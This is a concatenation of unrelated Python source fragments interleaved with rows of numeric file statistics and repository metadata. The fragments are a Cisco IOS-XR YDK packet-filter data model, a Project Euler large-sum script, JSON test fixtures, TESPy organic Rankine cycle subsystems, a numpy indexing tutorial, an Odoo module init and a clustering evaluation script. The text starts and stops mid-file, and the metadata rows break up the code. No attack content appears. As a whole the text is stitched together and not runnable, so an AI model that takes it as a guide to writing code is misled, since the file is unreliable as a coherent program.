return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv6']['meta_info']
class Ipv4(object):
"""
Operational data for pfilter
.. attribute:: acl_info_table
Operational data for pfilter
**type**\: :py:class:`AclInfoTable <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.acl_info_table = PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable()
self.acl_info_table.parent = self
class AclInfoTable(object):
"""
Operational data for pfilter
.. attribute:: interface_infos
Operational data for pfilter
**type**\: :py:class:`InterfaceInfos <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.interface_infos = PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos()
self.interface_infos.parent = self
class InterfaceInfos(object):
"""
Operational data for pfilter
.. attribute:: interface_info
Operational data for pfilter in bag
**type**\: list of :py:class:`InterfaceInfo <ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper.PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos.InterfaceInfo>`
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.interface_info = YList()
self.interface_info.parent = self
self.interface_info.name = 'interface_info'
class InterfaceInfo(object):
"""
Operational data for pfilter in bag
.. attribute:: interface_name <key>
Name of the interface
**type**\: str
**pattern:** (([a\-zA\-Z0\-9\_]\*\\d+/){3,4}\\d+)\|(([a\-zA\-Z0\-9\_]\*\\d+/){3,4}\\d+\\.\\d+)\|(([a\-zA\-Z0\-9\_]\*\\d+/){2}([a\-zA\-Z0\-9\_]\*\\d+))\|(([a\-zA\-Z0\-9\_]\*\\d+/){2}([a\-zA\-Z0\-9\_]+))\|([a\-zA\-Z0\-9\_\-]\*\\d+)\|([a\-zA\-Z0\-9\_\-]\*\\d+\\.\\d+)\|(mpls)\|(dwdm)
.. attribute:: acl_info
acl information
**type**\: str
"""
_prefix = 'ip-pfilter-oper'
_revision = '2015-11-09'
def __init__(self):
self.parent = None
self.interface_name = None
self.acl_info = None
@property
def _common_path(self):
if self.parent is None:
raise YPYModelError('parent is not set . Cannot derive path.')
if self.interface_name is None:
raise YPYModelError('Key property interface_name is None')
return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:interface-info[Cisco-IOS-XR-ip-pfilter-oper:interface-name = ' + str(self.interface_name) + ']'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.interface_name is not None:
return True
if self.acl_info is not None:
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos.InterfaceInfo']['meta_info']
@property
def _common_path(self):
if self.parent is None:
raise YPYModelError('parent is not set . Cannot derive path.')
return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:interface-infos'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.interface_info is not None:
for child_ref in self.interface_info:
if child_ref._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable.InterfaceInfos']['meta_info']
@property
def _common_path(self):
if self.parent is None:
raise YPYModelError('parent is not set . Cannot derive path.')
return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:acl-info-table'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.interface_infos is not None and self.interface_infos._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv4.AclInfoTable']['meta_info']
@property
def _common_path(self):
if self.parent is None:
raise YPYModelError('parent is not set . Cannot derive path.')
return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:ipv4'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.acl_info_table is not None and self.acl_info_table._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes.Node.Process.Ipv4']['meta_info']
@property
def _common_path(self):
if self.parent is None:
raise YPYModelError('parent is not set . Cannot derive path.')
return self.parent._common_path +'/Cisco-IOS-XR-ip-pfilter-oper:process'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.ipv4 is not None and self.ipv4._has_data():
return True
if self.ipv6 is not None and self.ipv6._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes.Node.Process']['meta_info']
@property
def _common_path(self):
if self.node_name is None:
raise YPYModelError('Key property node_name is None')
return '/Cisco-IOS-XR-ip-pfilter-oper:pfilter-ma/Cisco-IOS-XR-ip-pfilter-oper:nodes/Cisco-IOS-XR-ip-pfilter-oper:node[Cisco-IOS-XR-ip-pfilter-oper:node-name = ' + str(self.node_name) + ']'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.node_name is not None:
return True
if self.process is not None and self.process._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes.Node']['meta_info']
@property
def _common_path(self):
return '/Cisco-IOS-XR-ip-pfilter-oper:pfilter-ma/Cisco-IOS-XR-ip-pfilter-oper:nodes'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.node is not None:
for child_ref in self.node:
if child_ref._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa.Nodes']['meta_info']
@property
def _common_path(self):
return '/Cisco-IOS-XR-ip-pfilter-oper:pfilter-ma'
def is_config(self):
''' Returns True if this instance represents config data else returns False '''
return False
def _has_data(self):
if not self.is_config():
return False
if self.nodes is not None and self.nodes._has_data():
return True
return False
@staticmethod
def _meta_info():
from ydk.models.cisco_ios_xr._meta import _Cisco_IOS_XR_ip_pfilter_oper as meta
return meta._meta_table['PfilterMa']['meta_info']
| 41.301587
| 313
| 0.441045
| 2,352
| 26,020
| 4.655612
| 0.053571
| 0.048219
| 0.060274
| 0.047123
| 0.916347
| 0.901553
| 0.889589
| 0.8621
| 0.85516
| 0.851598
| 0
| 0.0143
| 0.478632
| 26,020
| 629
| 314
| 41.36725
| 0.792865
| 0.190046
| 0
| 0.826923
| 0
| 0.012821
| 0.117042
| 0.064931
| 0
| 0
| 0
| 0
| 0
| 1
| 0.192308
| false
| 0
| 0.054487
| 0.00641
| 0.535256
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
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| null | 0
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| 0
|
0
| 7
|
921223c8a5bd9c0de56f1c6678abcdba366dc933
| 5,240
|
py
|
Python
|
naloga13.py
|
BarbaraPal/Project-Euler
|
78ec9d62f452b99aaf24eca1b2c253d04d7ea830
|
[
"MIT"
] | null | null | null |
naloga13.py
|
BarbaraPal/Project-Euler
|
78ec9d62f452b99aaf24eca1b2c253d04d7ea830
|
[
"MIT"
] | null | null | null |
naloga13.py
|
BarbaraPal/Project-Euler
|
78ec9d62f452b99aaf24eca1b2c253d04d7ea830
|
[
"MIT"
] | null | null | null |
# Large sum
x = 37107287533902102798797998220837590246510135740250463769376774900097126481248969700780504170182605387432498619952474105947423330951305812372661730962991942213363574161572522430563301811072406154908250230675882075393461711719803104210475137780632466768926167069662363382013637841838368417873436172675728112879812849979408065481931592621691275889832738442742289174325203219235894228767964876702721893184745144573600130643909116721685684458871160315327670386486105843025439939619828917593665686757934951621764571418565606295021572231965867550793241933316490635246274190492910143244581382266334794475817892575867718337217661963751590579239728245598838407582035653253593990084026335689488301894586282278288018119938482628201427819413994056758715117009439035398664372827112653829987240784473053190104293586865155060062958648615320752733719591914205172558297169388870771546649911559348760353292171497005693854370070576826684624621495650076471787294438377604532826541087568284431911906346940378552177792951453612327252500029607107508256381565671088525835072145876576172410976447339110607218265236877223636045174237069058518606604482076212098132878607339694128114266041808683061932846081119106155694051268969251934325451728388641918047049293215058642563049483624672216484350762017279180399446930047329563406911573244438690812579451408905770622942919710792820955037687525678773091862540744969844508330393682126183363848253301546861961243487676812975343759465158038628759287849020152168555482871720121925776695478182833757993103614740356856449095527097864797581167263201004368978425535399209318374414978068609844840309812907779179908821879532736447567559084803087086987551392711854517078544161852424320693150332599594068957565367821070749269665376763262354472106979395067965269474259770973916669376304263398708541052684708299085211399427365734116182760315001271653786073615010808570091499395125570281987460043753582903531743471732693212357815498262974255273730794953759765105305946966067683156574377167401875275889028025717332296191766687138199318110487701902712526768027607800301367868099252546340106163286652636270218540497705585629946580636237993140746255962240744869082311749777923654662572469233228109171419143028819710328859780666976089293863828502533340334413065578016127815921815005561868836468420090470230530811728164304876237919698424872550366387845831148769693215490281042402013833512446218144177347063783299490636259666498587618221225225512486764533677201869716985443124195724099139590089523100588229554825530026352078153229679624948164195386821877476085327132285723110424803456124867697064507995236377742425354112916842768655389262050249103265729672370191327572567528565324825826546309220705859652229798860272258331913126375147341994889534765745501184957014548792889848568277260777137214037988797153829820378303147352772158034814451349137322665138134829543829199918180278916522431027392251122869539409579530664052326325380441000596549391598795936352974615218550237130764225512118369380358038858490341698116222072977186158236678424689157993532961922624679571944012690438771072750481023908955235974572318970677254791506150550495392297953090112996751986188088225875314529584099251203829009407770775672113067397083047244838165338735023408456470580773088295917476714036319800818712901187549131054712658197623331044818386269515456334926366572897563400500428462801835170705278318394258821455212272512503275512160354698120058176216521282765275169129689778932238195734329339946437501907836945765883352399886755061649651847751807381688378610915273579297013376217784275219262340194239963916804498399317331273132924185707147349566916674687634660915035914677504995186714302352196288948901024233251169136196266227326746080059154747183079839286853520694694454072476841822524674417161514036427982273348055556214818971426179103425986472045168939894221798260880768528778364618279934631376775430780936333301898264209010848802521674670883215120185883543223812876952786713296124747824645386369930090493103636197638780396218407357239979422340623539380833965132740801111666627891981488087797941876876144230030984490851411606618262936828367647447792391803351109890697907148578694408955299065364044742557608365997664579509666024396409905389607120198219976047599490197230297649139826800329731560371200413779037855660850892521673093931987275027546890690370753941304265231501194809377245048795150954100921645863754710598436791786391670211874924319957006419179697775990283006991536871371193661495281130587638027841075444973307840789923115535562561142322423255033685442488917353448899115014406480203690680639606723221932041495354150312888033953605329934036800697771065056663195481234880673210146739058568557934581403627822703280826165707739483275922328459417065250945123252306082291880205877731971983945018088807242966198081119777158542502016545090413245809786882778948721859617721078384350691861554356628840622574736922845095162084960398013400172393067166682355524525280460972253503534226472524250874054075591789781264330331690
def vsota_stevil(n):
vsota = 0
sez = []
n = str(n)
for i in range(0, len(n), 50):
sez.append(n[i:i+50])
for j in sez:
vsota += int(j)
return vsota
print(str(vsota_stevil(x))[0:10])
| 349.333333
| 5,004
| 0.977863
| 44
| 5,240
| 116.409091
| 0.522727
| 0.004295
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.969985
| 0.014504
| 5,240
| 15
| 5,005
| 349.333333
| 0.021882
| 0.001718
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.090909
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
921af7fa2f2cf265271a4413ba1f0d086d17e33b
| 934
|
py
|
Python
|
tests/test_data.py
|
ONSdigital/sdx-receipt-rrm
|
b281cca78b56632765b1f4ec8bd9db54134f948e
|
[
"MIT"
] | null | null | null |
tests/test_data.py
|
ONSdigital/sdx-receipt-rrm
|
b281cca78b56632765b1f4ec8bd9db54134f948e
|
[
"MIT"
] | 69
|
2016-12-22T15:16:20.000Z
|
2021-03-19T23:58:24.000Z
|
tests/test_data.py
|
ONSdigital/sdx-receipt-rrm
|
b281cca78b56632765b1f4ec8bd9db54134f948e
|
[
"MIT"
] | 1
|
2021-04-11T07:51:27.000Z
|
2021-04-11T07:51:27.000Z
|
test_secret = "seB388LNHgxcuvAcg1pOV20_VR7uJWNGAznE0fOqKxg=".encode('ascii')
test_data = {
'valid':
'{"tx_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb", "case_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","collection":'
'{"exercise_sid":"hfjdskf"},"metadata":{"user_id":"789473423","ru_ref":"12345678901A"}}',
'invalid': '{"cats":"are nice"}',
'missing_metadata':
'{"tx_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","case_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","collection":'
'{"exercise_sid":"hfjdskf"}}',
'missing_tx_id': '{"case_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","collection":''{"exercise_sid":"hfjdskf"},"metadata":'
'{"user_id":"789473423","ru_ref":"12345678901A"}}',
'missing_case_id': '{"tx_id":"0f534ffc-9442-414c-b39f-a756b4adc6cb","collection":'
'{"exercise_sid":"hfjdskf"},"metadata":{"user_id":"789473423","ru_ref":"12345678901A"}}',
}
| 58.375
| 126
| 0.654176
| 100
| 934
| 5.87
| 0.31
| 0.102215
| 0.143101
| 0.183986
| 0.773424
| 0.773424
| 0.773424
| 0.770017
| 0.770017
| 0.770017
| 0
| 0.212304
| 0.11242
| 934
| 15
| 127
| 62.266667
| 0.495778
| 0
| 0
| 0.285714
| 0
| 0.142857
| 0.807281
| 0.720557
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
a6197ccdd79e53c7abb6df016114a37b8d84888b
| 5,487
|
py
|
Python
|
orc.py
|
NicholasFry/chp_orc
|
c41a026b819db91ae8cab47620795840e3113778
|
[
"MIT"
] | null | null | null |
orc.py
|
NicholasFry/chp_orc
|
c41a026b819db91ae8cab47620795840e3113778
|
[
"MIT"
] | null | null | null |
orc.py
|
NicholasFry/chp_orc
|
c41a026b819db91ae8cab47620795840e3113778
|
[
"MIT"
] | null | null | null |
from tespy.connections import Connection
from tespy.components import (
HeatExchanger, Pump, Turbine, Source, Sink, CycleCloser,
Condenser, Drum
)
from tespy.components.subsystem import Subsystem
class ORC_without_ihe(Subsystem):
def create_comps(self):
"""Create the subsystem's components."""
# main cycle
self.comps['condenser'] = Condenser('condenser')
self.comps['feed pump'] = Pump('feed pump')
self.comps['preheater'] = HeatExchanger('preheater')
self.comps['evaporator'] = HeatExchanger('evaporator')
self.comps['drum'] = Drum('drum')
self.comps['turbine'] = Turbine('turbine')
self.comps['orc cycle closer'] = CycleCloser('orc cycle closer')
# cooling water system
self.comps['lw source'] = Source('lw source')
self.comps['lw sink'] = Sink('lw sink')
self.comps['lw pump'] = Pump('lw pump')
def create_conns(self):
"""Define the subsystem's connections."""
# main cycle
self.conns['0'] = Connection(
self.comps['condenser'], 'out1',
self.comps['orc cycle closer'], 'in1', label='0'
)
self.conns['1'] = Connection(
self.comps['orc cycle closer'], 'out1',
self.comps['feed pump'], 'in1', label='1'
)
self.conns['2'] = Connection(
self.comps['feed pump'], 'out1',
self.comps['preheater'], 'in2', label='2'
)
self.conns['3'] = Connection(
self.comps['preheater'], 'out2',
self.comps['drum'], 'in1', label='3'
)
self.conns['4'] = Connection(
self.comps['drum'], 'out1',
self.comps['evaporator'], 'in2', label='4'
)
self.conns['5'] = Connection(
self.comps['evaporator'], 'out2',
self.comps['drum'], 'in2', label='5'
)
self.conns['6'] = Connection(
self.comps['drum'], 'out2',
self.comps['turbine'], 'in1', label='6'
)
self.conns['7'] = Connection(
self.comps['turbine'], 'out1',
self.comps['condenser'], 'in1', label='7'
)
# cooling water system
self.conns['11'] = Connection(
self.comps['lw source'], 'out1',
self.comps['lw pump'], 'in1', label='11'
)
self.conns['12'] = Connection(
self.comps['lw pump'], 'out1',
self.comps['condenser'], 'in2', label='12'
)
self.conns['13'] = Connection(
self.comps['condenser'], 'out2',
self.comps['lw sink'], 'in1', label='13'
)
class ORC_with_ihe(Subsystem):
def create_comps(self):
"""Create the subsystem's components."""
# main cycle
self.comps['condenser'] = Condenser('condenser')
self.comps['feed pump'] = Pump('feed pump')
self.comps['preheater'] = HeatExchanger('preheater')
self.comps['evaporator'] = HeatExchanger('evaporator')
self.comps['drum'] = Drum('drum')
self.comps['turbine'] = Turbine('turbine')
self.comps['orc cycle closer'] = CycleCloser('orc cycle closer')
# internal heat exchanger
self.comps['ihe'] = HeatExchanger('ihe')
# cooling water system
self.comps['lw source'] = Source('lw source')
self.comps['lw sink'] = Sink('lw sink')
self.comps['lw pump'] = Pump('lw pump')
def create_conns(self):
"""Define the subsystem's connections."""
# main cycle
self.conns['0'] = Connection(
self.comps['condenser'], 'out1',
self.comps['orc cycle closer'], 'in1', label='0'
)
self.conns['1'] = Connection(
self.comps['orc cycle closer'], 'out1',
self.comps['feed pump'], 'in1', label='1'
)
self.conns['2_1'] = Connection(
self.comps['feed pump'], 'out1',
self.comps['ihe'], 'in2', label='2_1'
)
self.conns['2_2'] = Connection(
self.comps['ihe'], 'out1',
self.comps['preheater'], 'in2', label='2_2'
)
self.conns['3'] = Connection(
self.comps['preheater'], 'out2',
self.comps['drum'], 'in1', label='3'
)
self.conns['4'] = Connection(
self.comps['drum'], 'out1',
self.comps['evaporator'], 'in2', label='4'
)
self.conns['5'] = Connection(
self.comps['evaporator'], 'out2',
self.comps['drum'], 'in2', label='5'
)
self.conns['6'] = Connection(
self.comps['drum'], 'out2',
self.comps['turbine'], 'in1', label='6'
)
self.conns['7_1'] = Connection(
self.comps['turbine'], 'out1',
self.comps['ihe'], 'in1', label='7_1'
)
self.conns['7_2'] = Connection(
self.comps['ihe'], 'out1',
self.comps['condenser'], 'in1', label='7_2'
)
# cooling water system
self.conns['11'] = Connection(
self.comps['lw source'], 'out1',
self.comps['lw pump'], 'in1', label='11'
)
self.conns['12'] = Connection(
self.comps['lw pump'], 'out1',
self.comps['condenser'], 'in2', label='12'
)
self.conns['13'] = Connection(
self.comps['condenser'], 'out2',
self.comps['lw sink'], 'in1', label='13'
)
| 34.727848
| 72
| 0.516494
| 585
| 5,487
| 4.817094
| 0.097436
| 0.220369
| 0.161817
| 0.036196
| 0.898155
| 0.898155
| 0.898155
| 0.84528
| 0.791341
| 0.791341
| 0
| 0.03043
| 0.305267
| 5,487
| 157
| 73
| 34.949045
| 0.708814
| 0.053581
| 0
| 0.651163
| 0
| 0
| 0.189388
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031008
| false
| 0
| 0.023256
| 0
| 0.069767
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a66e6afd4ce7ee8489002ea44cf38e7ad4654dce
| 2,812
|
py
|
Python
|
python/udemy-data-analysis-and-visualization/lecture09_numpy_indexing_arrays.py
|
juancarlosqr/datascience
|
2e4d78365b059a3e501e988bee53970ac0d718fc
|
[
"MIT"
] | null | null | null |
python/udemy-data-analysis-and-visualization/lecture09_numpy_indexing_arrays.py
|
juancarlosqr/datascience
|
2e4d78365b059a3e501e988bee53970ac0d718fc
|
[
"MIT"
] | null | null | null |
python/udemy-data-analysis-and-visualization/lecture09_numpy_indexing_arrays.py
|
juancarlosqr/datascience
|
2e4d78365b059a3e501e988bee53970ac0d718fc
|
[
"MIT"
] | null | null | null |
import numpy as np
arr = np.arange(0, 11)
print(arr)
# [ 0 1 2 3 4 5 6 7 8 9 10]
print(arr[8])
# 8
print(arr[1:5])
# [1 2 3 4]
# change elements
arr[0:5] = 100
print(arr)
# [100 100 100 100 100 5 6 7 8 9 10]
# reset original array
arr = np.arange(0, 11)
# slicing
slice1 = arr[0:6]
print(slice1)
# [0 1 2 3 4 5]
# change all elements
slice1[:] = 99
print(slice1)
# [99 99 99 99 99 99]
# changes occured in the original array
print(arr)
# [99 99 99 99 99 99 6 7 8 9 10]
# to prevent this use .copy() function
arr_copy = arr.copy()
arr_copy[:3] = 11
print(arr)
# [99 99 99 99 99 99 6 7 8 9 10]
print(arr_copy)
# [11 11 11 99 99 99 6 7 8 9 10]
# indexing 2d array
arr_2d = np.array(([5,10,15],[20,25,30], [35,40,45]))
print(arr_2d)
'''
[[ 5 10 15]
[20 25 30]
[35 40 45]]
'''
print(arr_2d[1])
# [20 25 30]
print(arr_2d[1][0])
# 20
print(arr_2d[1,0])
# 20
# 2d array slicing
print(arr_2d[:2,1:])
'''
[[10 15]
[25 30]]
'''
new_arr = np.zeros((10,10))
print(new_arr)
'''
[[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]]
'''
new_arr_len = new_arr.shape[0]
print(new_arr_len)
# 10
for i in range(new_arr_len):
new_arr[i] = 1
print(new_arr)
'''
[[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]]
'''
for i in range(new_arr_len):
new_arr[i] = i
print(new_arr)
'''
[[ 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 2. 2. 2. 2. 2. 2. 2. 2. 2. 2.]
[ 3. 3. 3. 3. 3. 3. 3. 3. 3. 3.]
[ 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.]
[ 5. 5. 5. 5. 5. 5. 5. 5. 5. 5.]
[ 6. 6. 6. 6. 6. 6. 6. 6. 6. 6.]
[ 7. 7. 7. 7. 7. 7. 7. 7. 7. 7.]
[ 8. 8. 8. 8. 8. 8. 8. 8. 8. 8.]
[ 9. 9. 9. 9. 9. 9. 9. 9. 9. 9.]]
'''
# fancy indexing
print(new_arr[[2,5]])
'''
[[ 2. 2. 2. 2. 2. 2. 2. 2. 2. 2.]
[ 5. 5. 5. 5. 5. 5. 5. 5. 5. 5.]]
'''
print(new_arr[[8,1,4]])
'''
[[ 8. 8. 8. 8. 8. 8. 8. 8. 8. 8.]
[ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]
[ 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.]]
'''
| 20.985075
| 53
| 0.396515
| 618
| 2,812
| 1.762136
| 0.090615
| 0.214876
| 0.31405
| 0.407714
| 0.613407
| 0.573921
| 0.519743
| 0.499541
| 0.488522
| 0.451791
| 0
| 0.316732
| 0.364509
| 2,812
| 133
| 54
| 21.142857
| 0.292669
| 0.156828
| 0
| 0.371429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.028571
| 0
| 0.028571
| 0.571429
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| null | 0
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| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
a6cb4c87e3f50e3c1f785147bd640649a391f768
| 111
|
py
|
Python
|
addons14/github_connector/wizards/__init__.py
|
odoochain/addons_oca
|
55d456d798aebe16e49b4a6070765f206a8885ca
|
[
"MIT"
] | 1
|
2021-06-10T14:59:13.000Z
|
2021-06-10T14:59:13.000Z
|
addons14/github_connector/wizards/__init__.py
|
odoochain/addons_oca
|
55d456d798aebe16e49b4a6070765f206a8885ca
|
[
"MIT"
] | null | null | null |
addons14/github_connector/wizards/__init__.py
|
odoochain/addons_oca
|
55d456d798aebe16e49b4a6070765f206a8885ca
|
[
"MIT"
] | 1
|
2021-04-09T09:44:44.000Z
|
2021-04-09T09:44:44.000Z
|
from . import wizard_create_team
from . import wizard_create_repository
from . import wizard_load_github_model
| 27.75
| 38
| 0.864865
| 16
| 111
| 5.5625
| 0.5625
| 0.337079
| 0.539326
| 0.494382
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| 0
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 111
| 3
| 39
| 37
| 0.89899
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| true
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| 1
| 0
|
0
| 8
|
a6ce347e176a15aec5c8a1eb37b29510d17cc478
| 34,387
|
py
|
Python
|
dmClusteringEval.py
|
daishuanglu/dmClustering
|
4c4dbaa6ca0dbb983e88e315383659aab6a6b6a9
|
[
"MIT"
] | null | null | null |
dmClusteringEval.py
|
daishuanglu/dmClustering
|
4c4dbaa6ca0dbb983e88e315383659aab6a6b6a9
|
[
"MIT"
] | null | null | null |
dmClusteringEval.py
|
daishuanglu/dmClustering
|
4c4dbaa6ca0dbb983e88e315383659aab6a6b6a9
|
[
"MIT"
] | null | null | null |
from dmClustering import pwise_Euclid, dmClustering, group_label_acc, group_label
from dataReader import dataReader
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from collections import Counter
from sklearn.cluster import KMeans, SpectralClustering
from sklearn import datasets
from sklearn.metrics import normalized_mutual_info_score
import matplotlib.pyplot as plt
import time
#from sklearn.model_selection import train_test_split
#from pathlib import Path
def avgPred(ntimes,loader,testcase):
target, inputs, nfeat, nsamples = loader.spiral()
preds = torch.Tensor(ntimes, nsamples)
for i in range(ntimes):
print('predicting {:d}/{:d} round'.format(i+1,ntimes))
if type(inputs) is np.ndarray:
preds[i, :] =torch.from_numpy(testcase(loader,True))
else:
preds[i, :] = testcase(loader, True)
print('max Voting')
pred,_=preds.mode(0)
nmi = normalized_mutual_info_score(target, pred.numpy())
acc = group_label_acc(target, pred.numpy())
return acc,nmi
def metricCluster(dfx,ratio=0.0):
N = dfx.size(0)
sim = dfx.detach() > ratio
clusters = np.arange(N)
flag = torch.zeros(N)
i = 0
while flag.sum().item() < N:
label = clusters[i]
clusters[sim[i, :].nonzero().squeeze()] = label
flag[sim[i, :].nonzero().squeeze()] = 1
if flag.sum().item() == N:
break
i = flag.eq(0).nonzero()[0].long()
#print('searching {:d} '.format(i.numpy()[0]))
return clusters
class shapeNet(nn.Module):
def __init__(self,dim=2):
super(shapeNet, self).__init__()
self.dim=dim
self.linFeature=nn.Sequential(
nn.Linear(dim, 10),
)
def forward(self,x1):
x1 = x1.view(x1.size(0), self.dim)
x1= self.linFeature(x1)
return x1
def testSpiral(loader,averaging=False):
target, inputs, nfeat, nsamples = loader.spiral()
if type(inputs) is np.ndarray:
inputs=torch.from_numpy(inputs).unsqueeze(1).float()
ut=np.unique(target)
else: ut=target.unique()
print(nsamples,' samples',nfeat,' dimensions ,targets:',Counter(target))
Nclusters = len(ut)
Nsparse = 3
batchsize = 10
model = dmClustering(shapeNet(), Nfactor=0, Nclusters=Nclusters)
F, labels = model.unSupervisedLearner(inputs, Nepochs=20, sparsity=Nsparse, bsize=batchsize, lamda=1)
if not averaging:
#print(F)
print('clusters:', ''.join(str(l) for l in labels))
print(Counter(labels))
#print('targets:', ''.join(str(t) for t in target))
nmi = normalized_mutual_info_score(target, labels)
print('Normalized mutual information(NMI): {:.2f}%'.format(nmi * 100))
acc = group_label_acc(target, labels)
